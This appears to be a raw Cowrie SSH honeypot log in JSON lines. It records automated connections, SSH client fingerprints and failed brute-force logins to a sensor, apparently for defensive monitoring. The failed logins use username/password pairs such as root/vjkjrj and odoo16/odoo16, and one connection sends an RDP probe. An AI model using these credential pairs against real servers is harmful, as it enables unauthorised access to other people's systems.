{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":49398,"dst_ip":"159.203.135.109","dst_port":22,"session":"c629ba8ab053","protocol":"ssh","message":"New connection: 83.168.110.85:49398 (159.203.135.109:22) [session: c629ba8ab053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:41.165622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:41.170029Z","src_ip":"83.168.110.85","session":"c629ba8ab053","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:41.291216Z","src_ip":"83.168.110.85","session":"c629ba8ab053","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:41.666118Z","src_ip":"83.168.110.85","session":"c629ba8ab053","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:42.796698Z","src_ip":"83.168.110.85","session":"c629ba8ab053","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":52116,"dst_ip":"159.203.135.109","dst_port":22,"session":"97845615b4d9","protocol":"ssh","message":"New connection: 103.15.222.183:52116 (159.203.135.109:22) [session: 97845615b4d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:43.671383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:43.676505Z","src_ip":"103.15.222.183","session":"97845615b4d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:43.919740Z","src_ip":"103.15.222.183","session":"97845615b4d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vjkjrj","message":"login attempt [root/vjkjrj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:44.651391Z","src_ip":"103.15.222.183","session":"97845615b4d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:45.897823Z","src_ip":"103.15.222.183","session":"97845615b4d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":35358,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0aaee38c75d","protocol":"ssh","message":"New connection: 83.168.110.85:35358 (159.203.135.109:22) [session: d0aaee38c75d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:51.318511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:51.321764Z","src_ip":"83.168.110.85","session":"d0aaee38c75d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:51.441579Z","src_ip":"83.168.110.85","session":"d0aaee38c75d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:51.803551Z","src_ip":"83.168.110.85","session":"d0aaee38c75d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:42:52.929840Z","src_ip":"83.168.110.85","session":"d0aaee38c75d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":35592,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ce7f05594fc","protocol":"ssh","message":"New connection: 83.168.110.85:35592 (159.203.135.109:22) [session: 4ce7f05594fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:01.449437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:01.453875Z","src_ip":"83.168.110.85","session":"4ce7f05594fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:01.576016Z","src_ip":"83.168.110.85","session":"4ce7f05594fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"odoo16","message":"login attempt [odoo16/odoo16] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:02.097949Z","src_ip":"83.168.110.85","session":"4ce7f05594fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.99","src_port":44500,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6c5d1289717","protocol":"ssh","message":"New connection: 152.32.171.99:44500 (159.203.135.109:22) [session: a6c5d1289717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:02.810509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:02.815266Z","src_ip":"152.32.171.99","session":"a6c5d1289717","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:03.031026Z","src_ip":"152.32.171.99","session":"a6c5d1289717","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:03.221261Z","src_ip":"83.168.110.85","session":"4ce7f05594fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test000","message":"login attempt [root/test000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:03.924010Z","src_ip":"152.32.171.99","session":"a6c5d1289717","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":52134,"dst_ip":"159.203.135.109","dst_port":22,"session":"91863dd05052","protocol":"ssh","message":"New connection: 160.251.185.39:52134 (159.203.135.109:22) [session: 91863dd05052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:04.474101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:04.479421Z","src_ip":"160.251.185.39","session":"91863dd05052","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:04.651387Z","src_ip":"160.251.185.39","session":"91863dd05052","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:05.150422Z","src_ip":"152.32.171.99","session":"a6c5d1289717","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k4t14m3","message":"login attempt [root/k4t14m3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:05.369001Z","src_ip":"160.251.185.39","session":"91863dd05052","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:06.543337Z","src_ip":"160.251.185.39","session":"91863dd05052","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":41736,"dst_ip":"159.203.135.109","dst_port":22,"session":"8aaa76abcf05","protocol":"ssh","message":"New connection: 83.168.110.85:41736 (159.203.135.109:22) [session: 8aaa76abcf05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:11.584928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:11.590616Z","src_ip":"83.168.110.85","session":"8aaa76abcf05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:11.712436Z","src_ip":"83.168.110.85","session":"8aaa76abcf05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo18","message":"login attempt [odoo18/odoo18] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:12.078422Z","src_ip":"83.168.110.85","session":"8aaa76abcf05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":53802,"dst_ip":"159.203.135.109","dst_port":22,"session":"eea7601f9771","protocol":"ssh","message":"New connection: 103.118.29.129:53802 (159.203.135.109:22) [session: eea7601f9771]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:12.175394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:12.183677Z","src_ip":"103.118.29.129","session":"eea7601f9771","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:12.424102Z","src_ip":"103.118.29.129","session":"eea7601f9771","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:13.201393Z","src_ip":"83.168.110.85","session":"8aaa76abcf05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"akmal","message":"login attempt [root/akmal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:13.419460Z","src_ip":"103.118.29.129","session":"eea7601f9771","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:14.663712Z","src_ip":"103.118.29.129","session":"eea7601f9771","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":53319,"dst_ip":"10.17.0.5","dst_port":22,"session":"20aa78941cee","protocol":"ssh","message":"New connection: 152.42.212.128:53319 (10.17.0.5:22) [session: 20aa78941cee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:21.264129Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:21.269210Z","src_ip":"152.42.212.128","session":"20aa78941cee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:21.272923Z","src_ip":"152.42.212.128","session":"20aa78941cee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":59756,"dst_ip":"159.203.135.109","dst_port":22,"session":"08598cd75c89","protocol":"ssh","message":"New connection: 83.168.110.85:59756 (159.203.135.109:22) [session: 08598cd75c89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:21.914353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:43:21.918180Z","src_ip":"83.168.110.85","session":"08598cd75c89","protocol":"ssh"}
